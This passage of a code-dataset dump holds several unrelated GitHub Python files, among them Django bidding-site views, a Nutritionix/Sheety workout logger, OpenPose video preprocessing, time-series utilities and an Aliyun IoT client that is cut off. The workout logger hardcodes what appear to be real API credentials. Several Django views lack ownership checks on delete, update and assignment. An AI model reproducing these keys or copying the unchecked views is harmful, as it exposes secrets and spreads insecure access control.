range(len(w))]\n v = []\n for i in index:\n v.append(h[i])\n m = max(v)\n ans = m* len(w)\n return ans\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n h = list(map(int, input().rstrip().split()))\n\n word = input()\n\n result = designerPdfViewer(h, word)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"shreayansh/Problem-Solving","sub_path":"Designer PDF Viewer.py","file_name":"Designer PDF Viewer.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25093014331","text":"from django.db.models import Q\nfrom django.contrib import messages\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.generic import ListView, UpdateView, DeleteView, DetailView\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom .forms import PostProjectForm, BidProjectForm, BidUpdateForm\nfrom users.models import UserExtended\nfrom .models import project, Bids\nfrom notifications.models import Notifications\nfrom seller.decorators import seller_required\nfrom seller.models import Seller\nfrom django.utils import timezone\n\n@login_required\ndef postProject(request):\n if request.method == 'POST':\n form = PostProjectForm(request.POST)\n if form.is_valid():\n postProject = form.save(commit=False)\n postProject.user = get_object_or_404(\n UserExtended, user__username=request.user.username)\n postProject.save()\n messages.success(request, 'Posted The Project')\n return redirect('/')\n else:\n form = PostProjectForm()\n\n return render(request, 'bids/post-project.html', {\n 'form': form\n })\n\n\n# @method_decorator([login_required, seller_required], name=\"dispatch\")\nclass ProjectsListView(ListView):\n model = project\n template_name = \"bids/project-list.html\"\n ordering = ['-posted_date']\n\n@method_decorator([login_required], name=\"dispatch\")\nclass ProjectDeleteView(DeleteView):\n model = project\n template_name = \"bids/delete-project.html\"\n success_url = '/'\n\n\n@method_decorator([login_required], name=\"dispatch\")\nclass ProjectUpdateView(UpdateView):\n model = project\n fields = [\n 'title',\n 'category',\n 'description',\n 'budget',\n ]\n template_name = \"bids/update-project.html\"\n\n\n@login_required\n@seller_required\ndef makeBid(request, slug):\n try:\n bid = Bids.objects.get(Q(project__slug=slug) &\n Q(user__user__user=request.user))\n return redirect('edit-bid', pk=bid.id)\n except ObjectDoesNotExist:\n if request.method == 'POST':\n print(\"Step\")\n form = BidProjectForm(request.POST)\n if form.is_valid():\n postBid = form.save(commit=False)\n postBid.user = get_object_or_404(\n Seller, user__user=request.user)\n postBid.project = get_object_or_404(project, slug=slug)\n postBid.save()\n messages.success(request, 'Bidded on the Project')\n return redirect('/')\n else:\n form = BidProjectForm()\n return render(request, 'bids/make-bid.html', {\n 'form': form\n })\n\nclass ViewProject(DetailView):\n model = project\n context_object_name = \"project\"\n template_name = \"bids/view-project-details.html\"\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['bids'] = Bids.objects.filter(project__slug=self.kwargs['slug'])\n return context\n\n@method_decorator([login_required, seller_required], name=\"dispatch\")\nclass BidsUpdateView(UpdateView):\n model = Bids\n form_class = BidUpdateForm\n template_name = \"bids/update-bid.html\"\n\n\n@method_decorator([login_required, seller_required], name=\"dispatch\")\nclass BidsDeleteView(DeleteView):\n model = Bids\n form_class = BidUpdateForm\n template_name = \"bids/delete-bid.html\"\n\n\n@login_required\ndef viewBidsOnProjects(request, slug):\n bids = Bids.objects.filter(project__slug=slug)\n # notification = Notifications.objects.filter(Q(bid__project__slug=slug) & Q(user__user=request.user))\n # notification.viewed = True\n # notification.save()\n return render(request, \"bids/view-bids.html\", {\n 'bids': bids\n })\n\n\n@login_required\ndef assignTo(request, username, slug):\n seller = Seller.objects.get(user__user__username=username)\n projectName = project.objects.get(slug=slug)\n projectName.is_assigned = True\n projectName.assignedTo = seller.user\n projectName.assignedOn = timezone.now()\n projectName.save()\n Notifications.objects.create(\n user=seller.user,\n title=f\"Your bid on {projectName.title} has been selected.\",\n description=f\"{request.user.username} has assigned you for their project\",\n bid=Bids.objects.get(Q(project__slug=slug) & Q(user=seller)),\n category=\"ProjectAssigned\",\n )\n messages.success(request, f\"Assigned to {seller.user.user.username}\")\n return redirect('/')\n","repo_name":"SketchFrame/sframe","sub_path":"bids/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3102581752","text":"import sys\nimport heapq\n\nsys.stdin = open(\"62_절댓값 힙.txt\")\n\nn = int(input())\nheap = []\n\nfor _ in range(n):\n num = int(sys.stdin.readline())\n if num == 0:\n if heap:\n print(heapq.heappop(heap)[1])\n else:\n print(0)\n else:\n heapq.heappush(heap, (abs(num), num))\n","repo_name":"star2871/TIL","sub_path":"python/boj/62_절댓값 힙.py","file_name":"62_절댓값 힙.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"36652560425","text":"import requests\r\nimport datetime\r\nGENDER = \"male\"\r\nWEIGHT_KG = 50\r\nHEIGHT_CM = 155\r\nAGE = 37\r\n\r\nglobal date_today\r\nglobal time_today\r\n\r\nAPP_ID = \"23964751\"\r\nAPP_KEY = \"2249b99922edd40e5e4e4a3e36d92964\"\r\nREMOTE_USER_ID = \"0\"\r\n#x-app-id\r\n#x-app-key\r\n#x-remote-user-id\r\n\r\nheaders = {\r\n \"x-app-id\":APP_ID,\r\n \"x-app-key\":APP_KEY,\r\n #\"x-remote-user-id\":REMOTE_USER_ID\r\n}\r\n\r\n\r\nmy_config = {\r\n \"query\":\"Ran 2 km, swam 10m\",\r\n #\"gender\": GENDER,\r\n #\"weight_kg\": WEIGHT_KG,\r\n #\"height_cm\": HEIGHT_CM,\r\n #\"age\": AGE\r\n}\r\n\r\nendpoint = \"https://trackapi.nutritionix.com/v2/natural/exercise\"\r\nresponse = requests.post(url=endpoint, headers=headers, json= my_config)\r\nreply = response.json()\r\n#print(reply)\r\n\r\nto_write = reply[\"exercises\"]\r\n#print(to_write)\r\nfinal_dict = []\r\n\r\nfor i in to_write:\r\n my_dict = {}\r\n my_dict[\"user_input\"] = i[\"user_input\"]\r\n my_dict[\"duration_min\"] = i[\"duration_min\"]\r\n my_dict[\"nf_calories\"] = i[\"nf_calories\"]\r\n final_dict.append(my_dict)\r\n\r\nprint(final_dict)\r\ndate_today = datetime.datetime.now().strftime(\"%d/%m/%Y\")\r\ntime_today = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n\r\nprint(date_today)\r\nprint(time_today)\r\n\r\nsheety_endpoint = \"https://api.sheety.co/dfdf5f2d10b9bb5354081d1eaa3daf92/workoutTracker/workouts\"\r\n\r\nfor i in final_dict:\r\n sheety_config = {\r\n \"workout\": {\r\n \"date\": date_today,\r\n \"time\": time_today,\r\n \"exercise\": i[\"user_input\"],\r\n \"duration\": i[\"duration_min\"],\r\n \"calories\": i[\"nf_calories\"]\r\n }\r\n }\r\n # print(sheety_config)\r\n# for exercise in reply[\"exercises\"]:\r\n# sheet_inputs = {\r\n# \"workout\": {\r\n# \"date\": date_today,\r\n# \"time\": time_today,\r\n# \"exercise\": exercise[\"name\"].title(),\r\n# \"duration\": exercise[\"duration_min\"],\r\n# \"calories\": exercise[\"nf_calories\"]\r\n# }\r\n# }\r\n response = requests.post(url=sheety_endpoint, json = sheety_config)\r\n print(response.text)\r\n","repo_name":"bjvhombrebueno/workout_tracker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3728141250","text":"class Solution:\n def maxProbability(self, n: int, edges: List[List[int]], succProb: List[float], start: int, end: int) -> float:\n graph = self.build_graph(edges, succProb)\n seen = set()\n max_heap = [(-1, start)] \n while max_heap:\n prob, cur = heappop(max_heap)\n seen.add(cur)\n if cur == end:\n return -prob\n for neigh, p in graph.get(cur, []):\n if not neigh in seen:\n new_prob = -1 * abs(prob*p)\n heappush(max_heap, (new_prob, neigh))\n return 0\n \n def build_graph(self, edges, succProb):\n graph = {}\n for i in range(len(edges)):\n cur_edge = edges[i]\n cur_prob = succProb[i]\n graph.setdefault(cur_edge[0], []).append((cur_edge[1], cur_prob))\n graph.setdefault(cur_edge[1], []).append((cur_edge[0], cur_prob))\n return graph\n","repo_name":"zerabruck/Competitive-programming","sub_path":"A2sv/path_with_maximum_probability.py","file_name":"path_with_maximum_probability.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42371395431","text":"import random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom old.AutoEncoder import Encoder,Decoder,AutoEncoder\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\n\n\n\nclass TransitionDelta(nn.Module):\n\n def __init__(self, code_size, action_size):\n super().__init__()\n\n self.code_size = code_size\n self.action_size = action_size\n input_size = code_size + action_size\n\n self.layer1 = nn.Linear(input_size, input_size * 2).to(device)\n self.layer2 = nn.Linear(input_size * 2, code_size).to(device)\n self.optimizer = torch.optim.Adam(self.parameters(),\n lr=0.001)\n\n def forward(self, z, action):\n #print(\"z.shape \", z.shape)\n #print(\"action.shape \",action.shape)\n action = action.type(torch.float32).to('cuda')\n cat = torch.cat((z, action), -1)\n # print(cat.shape)\n delta_z = torch.sigmoid(self.layer1(cat))\n delta_z = torch.tanh(self.layer2(delta_z))\n z_prime = z + delta_z\n y = torch.ones(self.code_size).to(device)\n x = torch.zeros(self.code_size).to(device)\n z_prime = z_prime.where(z_prime < 1.0, y)\n z_prime = z_prime.where(z_prime >= 0.0, x)\n return z_prime\n\n\nclass Transition(nn.Module):\n\n def __init__(self, encoder, decoder, transition_delta):\n super().__init__()\n self.encoder = encoder\n self.decoder = decoder\n self.transition_delta = transition_delta\n self.optimizer = torch.optim.Adam(self.parameters(),\n lr=0.001)\n\n def forward(self, x, action, x_prime, epoch, n_epochs):\n z = self.encoder(x, epoch, n_epochs)\n z_prime = self.encoder(x_prime, epoch, n_epochs)\n\n delta_z = self.transition_delta(z, action)\n\n z_prime_hat = z + delta_z\n\n x_prime_hat = self.decoder(z_prime_hat)\n\n return z_prime_hat - z_prime, x_prime_hat, z_prime_hat\n\nclass Predictor(nn.Module):\n def __init__(self, trans_delta):\n super().__init__()\n self.delta = trans_delta\n def forward(self, x, a):\n out = self.delta(x,a)\n return out\n\n\n\n\n########################## Sizes\nstate_size = 8\naction_size = 4\ncode_size = 100\n\n'''\nloss_function = nn.MSELoss()\n# loss_function = nn.L1Loss()\noptimizerTR = optim.SGD(tr.parameters(), lr=0.01)\noptimizerAE = optim.Adam(ae.parameters(), lr=0.0001)\n'''\n","repo_name":"Elena-Umili/RL-Planning","sub_path":"codice_aggiornato/old/transition_model.py","file_name":"transition_model.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"27839724905","text":"#!/usr/bin/python\n\n# This is both a script to pre process a video into discrete frames with data on where the hand is in the frame\n# and a file that contains a class used for loading this data back into the current kernel in python. This is \n# to simulate a real time implementation of this project when the capability to run openpose in real time is not\n# limited by hardware.\n\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport os\nimport argparse\nfrom pathlib import Path\nfrom find_hand import openpose_hand_detection\n\nNUM_FRAMES = 189\n\nHOME_DIR = \"/home/espen/\"\nASSETS_DIR = HOME_DIR + \"catkin_ws/assets/\"\n\ndef test(frames, feed_name):\n\tprint(\"Length of frames {}\".format(len(frames)))\n\tfor frame in frames:\n\t\tcv2.imshow(feed_name, frame)\n\t\tkey = cv2.waitKey(1)\n\t\tif key == ('c'):\n\t\t\tbreak\n \n\tcv2.destroyAllWindows()\n\ndef display(img):\n\tcv2.imshow('test', img)\n\tcv2.waitKey(6)\n\tcv2.destroyAllWindows()\n\ndef grab_frames(num_frames, video_path):\n\tcap = cv2.VideoCapture(video_path) \n\tframes = list()\n\ttimestamps = [cap.get(cv2.CAP_PROP_POS_MSEC)]\n\twhile(cap.isOpened()):\n\t\tret, frame = cap.read()\n\t\tif not ret:\n\t\t\tbreak\n\t\tframes.append(frame)\n\t\ttimestamps.append(cap.get(cv2.CAP_PROP_POS_MSEC))\n\tcap.release()\n\n\tif num_frames == 1:\n\t\treturn [frames[0]]\n\n\tstep = float(len(frames)) / float(num_frames)\n\tstep = int(np.round(step))\n\tindices = np.array([i for i in range(len(frames))])\n\tindices = indices[0:-1:step]\n\tprint('Selecting frames of this index: ', indices)\n\tresult = list()\n\tres_timestamps = list()\n\tfor index in indices:\n\t\tresult.append(frames[index])\n\t\tres_timestamps.append(timestamps[index])\n\n\treturn result, res_timestamps\n\n\nclass saved_data:\n\tdef __init__(self):\n\t\tself.assets_dir = HOME_DIR + \"catkin_ws/assets\"\n\t\tself.frames = list()\n\t\tself.frame_centerpoints = dict()\n\t\tself.timestamps = list()\n\n\t# Load saved data from a pre_processed video\n\tdef load(self, frame_folder): \n\t\tsave_dir = os.path.join(self.assets_dir, \"frames\", frame_folder)\n\t\tdf = pd.read_csv(os.path.join(save_dir, \"centerpoints.csv\"))\n\t\tself.frame_centerpoints['X'] = df['X'].values\n\t\tself.frame_centerpoints['Y'] = df['Y'].values\n\t\tself.frame_centerpoints['Z'] = df['Z'].values\n\t\tself.frame_centerpoints['timestamps'] = df['timestamps'].values\n\n\t\ti = 0\n\t\timg_path = os.path.join(save_dir, \"frame{}.png\".format(str(i)))\n\t\twhile os.path.exists(img_path):\n\t\t\timg = cv2.imread(img_path)\n\t\t\tself.frames.append(img)\n\t\t\ti += 1\n\t\t\timg_path = os.path.join(save_dir, \"frame{}.png\".format(str(i)))\n\n\n\tdef get_frames(self):\n\t\treturn self.frames\n\n\tdef get_centerpoints(self):\n\t\treturn self.frame_centerpoints\n\n\tdef get_timestamps(self):\n\t\treturn self.frame_centerpoints['timestamps']\n\n\n\t# Save data from a pre_processed video\n\tdef save_frame(self, frame, save_dir, name):\n\t\t\n\t\t# Create path and file\n\t\tprint(save_dir)\n\t\tif not os.path.exists(save_dir):\n\t\t\tos.makedirs(save_dir)\n\t\tPath(save_dir).touch()\n\n\t\t# Save to directory\n\n\n\t\t# Save images to directory\n\t\tcv2.imwrite(os.path.join(save_dir, name), frame)\n\n\t\tprint(\"Data from frame successfull saved in \", save_dir)\n\n\n\tdef save_frame_data(self, centerpoints, timestamps, save_dir):\n\t\tarray_sz = len(centerpoints)\n\t\tself.frame_centerpoints['X'] = centerpoints[:, 0]\n\t\tself.frame_centerpoints['Y'] = centerpoints[:, 1]\n\t\tself.frame_centerpoints['Z'] = centerpoints[:, 2]\n\t\tself.frame_centerpoints['timestamps'] = np.array(timestamps[:array_sz])\n\n\t\tdf = pd.DataFrame(self.frame_centerpoints)\n\n\t\tfilename = \"centerpoints.csv\"\n\t\tif not os.path.exists(save_dir):\n\t\t\tos.makedirs(save_dir)\n\t\tPath(os.path.join(save_dir, filename)).touch()\n\n\t\tdf.to_csv(os.path.join(save_dir, filename), index=False)\n\t\tprint(\"Centerpoints and timestamps saved successfully to \", save_dir)\n\n\n\ndef main():\n\t# Parse Args\n\tparser = argparse.ArgumentParser(description=\"A script to save frames and hand centerpoints from a video of a hand\")\n\tparser.add_argument('path', type=str, action='store', help='Path to video file')\n\tparser.add_argument('num_frames', type=int, action='store', help='However many frames you wish to extract')\n\targs = parser.parse_args()\n\tNUM_FRAMES = args.num_frames\n\tpath_to_video = args.path\n\tprint(NUM_FRAMES, path_to_video)\n\n\tsave_dir = os.path.join(ASSETS_DIR, \"frames\", str(NUM_FRAMES) + \"_frame_reduction\")\n\tframes = list()\n\ttimestamps = list()\n\tframes, timestamps = grab_frames(NUM_FRAMES, path_to_video)\n\tprocessor = openpose_hand_detection()\n\tarchiver = saved_data()\n\tfor i in range(len(frames)):\n\t\timage = cv2.rotate(frames[i], cv2.ROTATE_90_COUNTERCLOCKWISE) # Change this so your images look the way you want them to.\n\t\ttry:\t\t\t\t\t\t\t\t\t\t\t\t\t\t# In my case, opencv took them from the video rotates weirdly\n\t\t\tprocessor.process_image(image)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\n\t\tframe = processor.get_last_image()\n\t\tname = \"frame\" + str(i) + \".png\"\n\t\tarchiver.save_frame(frame, save_dir, name)\n\tcps = processor.get_center_points()\n\tarchiver.save_frame_data(cps, timestamps, save_dir)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"EspenP/ur10_openpose","sub_path":"scripts/pre_process_video.py","file_name":"pre_process_video.py","file_ext":"py","file_size_in_byte":4953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33868491121","text":"class Solution(object):\n def findMaxConsecutiveOnes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n cands = []\n count = 0\n for i in range(len(nums)):\n if nums[i] == 1:\n count += 1\n elif nums[i] == 0:\n cands.append(count)\n count = 0\n cands.append(count)\n return max(cands)\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.findMaxConsecutiveOnes([1, 1, 0, 1, 1, 1]))\n","repo_name":"imidya/leetcode","sub_path":"4XX/485_max_consecutive_ones.py","file_name":"485_max_consecutive_ones.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29929499910","text":"# -*- coding:utf-8 -*-\n\"\"\"\nCreated on the 19/12/16\n@author: Nicolas Thiebaut\n@email: nthiebaut@quantmetry.com\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\nfrom datascribe.stats import compare_columns, compare_common_columns\n\nbinary = [1, 0, 1, 0, 1, 0]\ncategorical = [0, 1, 2, 3, 4]\nnumerical = list(range(20))\nsize1 = 20\nsize2 = 20\ndf1 = pd.DataFrame({'bin': np.random.choice(['a', 'b'], size1),\n 'cat': np.random.choice(['a', 'b', 'c'], size1),\n 'num': list(range(size1))})\ndf2 = pd.DataFrame({'bin': np.random.choice(['a', 'b'], size2),\n 'cat': np.random.choice(['a', 'b', 'c'], size2),\n 'num': list(range(size2))})\n\n\nclass TestStatisticalTests(object):\n \"\"\" Test automated statistical tests for pairs of DataFrames \"\"\"\n def test_mean_comparizon(self):\n \"\"\" Check extreme cases of mean comparizon \"\"\"\n for sample in [binary, categorical, numerical]:\n sample_series = pd.Series(sample)\n assert compare_columns(sample_series, sample_series)[1] == 1\n dummy_sample = pd.Series([0]*(len(sample)))\n assert compare_columns(sample_series, dummy_sample)[1] < 0.5\n\n def test_multiple_mean_comparizons(self):\n \"\"\" Check pairwise columns means equality tests \"\"\"\n test = compare_common_columns(df1, df1)\n assert test['p-value'].values.all() == 1\n","repo_name":"nkthiebaut/datascribe","sub_path":"tests/test_statistical_tests.py","file_name":"test_statistical_tests.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36873783333","text":"import streamlit as st\nfrom stateManagement.stateManagement import stateManagement\n\n\nclass signalsListWidget:\n def __init__(self):\n\n # stateManagement\n state = stateManagement()\n \n selectedSignals = []\n signalsList = []\n\n for signal in st.session_state.signalsList:\n signalsList.append(signal['name'])\n\n options = st.multiselect(\"Signals\", options=(signalsList))\n\n if(len(options) > 0):\n for name in options:\n for signal in st.session_state.signalsList:\n if(name == signal['name']):\n selectedSignals.append(signal)\n st.session_state.selectedSignals = selectedSignals\n\n if len(selectedSignals) > 0:\n st.session_state.Mode = 2\n\n if st.session_state.Mode == 2:\n state.set_add_signals()\n\n if len(st.session_state.signalsList):\n deleteBtn = st.button(\"Delete\")\n if deleteBtn:\n st.session_state.Mode = 0\n state.delete_signals(selectedSignals)\n","repo_name":"KamelMoohamed/Sampling-Studio","sub_path":"ui/widgets/signalsListWidget.py","file_name":"signalsListWidget.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20921203705","text":"# 快速格式化输出,适合对精度没什么要求\nname = \"孙悟空\"\nweapon = '金箍棒'\nweight = 99999\nrate = 3.1415926\n# f format\nprint(f\"齐天大圣:{name}, 武器:{weapon}, 武器重量:{weight}, 圆周率:{rate}\")\n\n# 输出\n'''\n齐天大圣:孙悟空, 武器:金箍棒, 武器重量:99999, 圆周率:3.1415926\n'''","repo_name":"swxfll/python_base","sub_path":"第二章字符串_运算符/字符串格式化之快速写法.py","file_name":"字符串格式化之快速写法.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70449202614","text":"\"\"\"Utility classes and functions\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\nimport bisect\nimport scipy.interpolate as spi\nimport scipy.integrate as spt\n\n\nclass Convergence(object):\n \"\"\"Checks convergence over a moving window.\n \"\"\"\n\n def __init__(self, min_n, max_iter, min_iter=0,\n test_slope=True, max_slope=0.1,\n test_bounds=True, max_bounds=1.0, bound_deltas=False,\n test_stats=True, max_sd=3.0):\n self.min_n = min_n\n self._hist = []\n self.iter = 0\n self.min_iter = min_iter\n self.max_iter = max_iter\n\n self.test_slope = test_slope\n self.max_slope = max_slope\n self.test_bounds = test_bounds\n self.max_bounds = max_bounds\n self.bound_deltas = bound_deltas\n self.test_stats = test_stats\n self.max_sd = max_sd\n self.last_converged = False\n\n def _test_slope(self, hist):\n if not self.test_slope:\n return True\n\n y = hist - np.mean(hist)\n x = np.arange(len(y))\n slope = np.dot(x, y) / np.dot(x, x)\n return np.abs(slope) < self.max_slope\n\n def _test_bounds(self, hist):\n if self.bound_deltas:\n hist = np.diff(hist)\n return np.all(np.abs(hist) < self.max_bounds)\n\n def _test_stats(self, hist):\n dev = hist - np.mean(hist)\n sd = np.std(dev)\n return np.all(np.abs(dev) < self.max_sd * sd)\n\n def clear(self):\n self._hist = []\n self.iter = 0\n self.last_converged = False\n\n def check(self, f):\n self._hist.append(f)\n self.iter += 1\n\n if self.iter < self.min_iter:\n return False\n if len(self._hist) < self.min_n:\n return False\n if self.iter > self.max_iter:\n return True\n self._hist = self._hist[-self.min_n:]\n hist = np.array(self._hist)\n\n self.last_converged = self._test_slope(hist) \\\n and self._test_bounds(hist) \\\n and self._test_stats(hist)\n return self.last_converged\n\n\ndef optimizer_initializer(opt, var_list):\n \"\"\"Creates a list of initializers for resetting a tensorflow\n optimizer\n \"\"\"\n opt_vars = [opt.get_slot(var, name)\n for name in opt.get_slot_names()\n for var in var_list]\n if isinstance(opt, tf.train.AdamOptimizer):\n opt_vars.extend(list(opt._get_beta_accumulators()))\n return tf.variables_initializer(opt_vars)\n\n\nclass Integrator(object):\n \"\"\"Interpolates and integrates an asynchronously-sampled 1D signal\n \"\"\"\n\n def __init__(self):\n self.times = []\n self.vals = []\n\n def __len__(self):\n return len(self.times)\n\n def buffer(self, t, v):\n if len(self) > 0 and t < self.times[-1]:\n raise ValueError('Received non-increasing time buffer!')\n self.times.append(t)\n self.vals.append(v)\n\n def integrate(self, t0, tf, weights=None):\n \"\"\"Integrates the data contained in the integrator from t0 to\n tf, inclusive. Applies weights to the data according to function\n weights(times - t0)\n \"\"\"\n if t0 < self.times[0] or tf > self.times[-1]:\n return None\n\n interp = spi.interp1d(x=np.squeeze(self.times),\n y=np.squeeze(self.vals), axis=0)\n\n # TODO Clean up using bisect\n istart = next(i for i, x in enumerate(self.times) if x > t0)\n ifinal = next((i for i, x in enumerate(self.times) if x > tf), -1)\n\n times = [t0] + self.times[istart:ifinal] + [tf]\n ref = [interp(t0)] + self.vals[istart:ifinal] + [interp(tf)]\n times = np.array(times)\n ref = np.asarray(ref)\n\n if weights is not None:\n w = weights(times - t0)\n ref = ref * w\n z = spt.trapz(y=w, x=times)\n else:\n z = 1.0\n\n return spt.trapz(y=ref, x=times) / z\n\n def trim(self, t0):\n \"\"\"Remove all data covering times before t0\n \"\"\"\n if len(self) == 0:\n return\n\n if self.times[0] > t0:\n return\n if self.times[-1] <= t0:\n self.times = self.times[-1:]\n self.vals = self.vals[-1:]\n return\n\n i = bisect.bisect_right(self.times, t0) - 1\n self.times = self.times[i:]\n self.vals = self.vals[i:]\n\n\nclass ChangepointSeries(object):\n \"\"\"Maps discrete samples of a time series into regions of continuity\n\n Parameters\n ==========\n extend_end : Whether the last value should extend to +infinity\n \"\"\"\n\n def __init__(self, extend_start=False, extend_end=False):\n # breaks denote start/end borders between segments (N + 1)\n self.segment_breaks = []\n # values denote value throughout segment (N)\n self.segment_values = []\n self.extend_start = extend_start\n self.extend_end = extend_end\n\n def __repr__(self):\n s = ''\n for i in range(len(self.segment_values)):\n s += '(%s, [%f,%f])' % (str(self.segment_values[i]),\n self.segment_breaks[i], self.segment_breaks[i + 1])\n return s\n\n def __len__(self):\n return len(self.segment_values)\n\n def earliest_time(self):\n if len(self) == 0:\n return None\n return self.segment_breaks[0]\n\n def buffer(self, t, v):\n\n # First segment starts and ends at t\n if len(self) == 0:\n self.segment_breaks.append(t)\n self.segment_breaks.append(t)\n self.segment_values.append(v)\n return\n\n if t < self.segment_breaks[-1]:\n raise ValueError('Received time %f less than latest time %f' %\n (t, self.segment_breaks[-1]))\n\n self.segment_breaks[-1] = t\n # If same as last value, keep going\n if v == self.segment_values[-1]:\n pass\n # Else add new segment\n else:\n self.segment_breaks.append(t)\n self.segment_values.append(v)\n\n def in_range(self, t):\n if len(self) == 0:\n return False\n\n return (t >= self.segment_breaks[0] or self.extend_start) and \\\n (t <= self.segment_breaks[-1] or self.extend_end)\n\n def __segment_ind(self, t):\n i = bisect.bisect_right(self.segment_breaks, t) - 1\n if self.extend_start:\n i = max(0, i)\n if self.extend_end:\n i = min(len(self.segment_values) - 1, i)\n return i\n\n def get_value(self, t):\n if not self.in_range(t):\n return None\n i = self.__segment_ind(t)\n return self.segment_values[i]\n\n def in_same_segment(self, ta, tb):\n \"\"\"Checks to see if ta and tb are in the same segment. Returns False if\n ta or tb lay outside the current range.\n \"\"\"\n if not self.in_range(ta) or not self.in_range(tb):\n return False\n\n ia = bisect.bisect(self.segment_breaks, ta)\n ib = bisect.bisect(self.segment_breaks, tb)\n return ia == ib\n\n def trim(self, t0):\n \"\"\"Removes all segments fully before t0\n \"\"\"\n if len(self) == 0:\n return\n\n if t0 < self.segment_breaks[0]:\n return\n\n if t0 >= self.segment_breaks[-1]:\n x = self.segment_breaks[-1]\n self.segment_breaks = [x, x]\n self.segment_values = self.segment_values[-1:]\n return\n\n i = self.__segment_ind(t0)\n self.segment_breaks = self.segment_breaks[i:]\n self.segment_values = self.segment_values[i:]\n\n\nclass EventSeries(object):\n \"\"\"Maps discrete timed events\n \"\"\"\n\n def __init__(self):\n # denotes event times\n self.event_times = []\n\n def __len__(self):\n return len(self.event_times)\n\n def earliest_time(self):\n if len(self) == 0:\n return None\n return self.event_times[0]\n\n def buffer(self, t):\n # First segment starts and ends at t\n self.event_times.append(t)\n\n def in_range(self, t):\n if len(self) == 0:\n return False\n return t >= self.event_times[0] and t <= self.event_times[-1]\n\n def count_events(self, ta, tb):\n \"\"\"Counts the number of events between ta and tb, inclusive\n \"\"\"\n ia = bisect.bisect_left(self.event_times, ta)\n ib = bisect.bisect_right(self.event_times, tb)\n return ib - ia\n\n def trim(self, t0):\n \"\"\"Removes all segments fully before t0\n \"\"\"\n if len(self) == 0:\n return\n\n if t0 < self.event_times[0]:\n return\n i = bisect.bisect_right(self.event_times, t0) - 1\n self.event_times = self.event_times[i:]\n","repo_name":"Humhu/percepto","sub_path":"adel/python/adel/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8724,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"32957675871","text":"\"\"\"\n 发布指定产品的物模型函数调用流程\n client_ak_Info(access_key_id, access_key_secret)\n query_list_Info(IotInstanceId, ResourceGroupId, ProductKey)\n publish_thing_model()\n\"\"\"\n\nfrom alibabacloud_tea_openapi.client import Client as OpenApiClient\nfrom alibabacloud_tea_openapi import models as open_api_models\nfrom alibabacloud_tea_util import models as util_models\nfrom alibabacloud_openapi_util.client import Client as OpenApiUtilClient\nfrom alibabacloud_tea_util.client import Client as UtilClient\n\n# 用户AK信息的全局变量:依次存储AccessKey ID & AccessKey Secret信息\nuser_ak_info_list = []\n\n# 查询命令参数:依次存储IotInstanceId、ResourceGroupId、ProductKey\nquery_list = []\n\n\n# 传入用户的AK信息\ndef client_ak_Info(access_key_id, access_key_secret):\n ak_info = str(access_key_id) + \",\" + str(access_key_secret)\n global user_ak_info_list # 全局变量\n user_ak_info_list = ak_info.split(\",\")\n\n\ndef query_list_Info(IotInstanceId, ResourceGroupId, ProductKey):\n query_info = str(IotInstanceId) + \",\" + ResourceGroupId + \",\" + str(ProductKey)\n global query_list # 全局变量\n query_list = query_info.split(\",\")\n\n\n# 根据传入信息,创建AK用户\ndef create_client(\n access_key_id: str,\n access_key_secret: str,\n) -> OpenApiClient:\n \"\"\"\n 使用AK&SK初始化账号Client\n @param access_key_id:\n @param access_key_secret:\n @return: Client\n @throws Exception\n \"\"\"\n config = open_api_models.Config(\n # 必填,您的 AccessKey ID,\n access_key_id=access_key_id,\n # 必填,您的 AccessKey Secret,\n access_key_secret=access_key_secret\n )\n # 访问的域名\n config.endpoint = f'iot.cn-shanghai.aliyuncs.com'\n return OpenApiClient(config)\n\n\n# ”发布指定产品的物模型“的API接口信息\ndef create_api_info() -> open_api_models.Params:\n 